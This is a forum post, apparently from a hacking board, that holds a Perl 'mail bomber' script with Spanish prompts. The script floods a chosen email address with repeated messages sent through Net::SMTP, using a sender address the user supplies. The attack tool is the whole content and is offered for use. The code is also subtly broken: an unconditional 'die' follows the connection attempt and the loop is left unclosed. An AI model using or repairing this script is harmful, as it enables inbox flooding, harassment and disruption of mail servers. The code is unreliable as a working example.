0 Members and 1 Guest are viewing this topic.
#!/usr/bin/perlprint " |---------------------------------------------|\n";print " | Mail bomber by Erik |\n";print " | Created for Code-Maker.es |\n";print " | [email protected] |\n";print " |---------------------------------------------|\n";use Net::SMTP;print "Buenas, cuantos mails bombs deseas hacer:";$n = <STDIN>;print "Introduzca el mailhost al que desea solicitar la conexion:";$mailhost = <STDIN>;print "Introduzca el email que desea utilizar:";$emailfrom = <STDIN>;print "Introduzca el email que desea bombear:";$emailto = <STDIN>;print "Introduzca el asunto del correo:";$asunto = <STDIN>;print "Introduzca el mensaje que desea enviar (Puede usar secuencias de escape (\\n, \\r...)):";$sms = <STDIN>;for ($a=1;$a<=$n;$a++) {$smtp = Net::SMTP->new("$mailhost",Hello => "$mailhost",Timeout =>25,Debug =>1,);die "No se ha podido conectar al servidor";print $smtp->domain,"\n";$smtp->mail("$emailfrom");$smtp->to("$emailto");$smtp->data();$smtp->datasend("To: $emailto");$smtp->datasend("From: $emailfrom");$smtp->datasend("Subject:$asunto\n");$smtp->datasend("$sms");$smtp->dataend();$smtp->quit();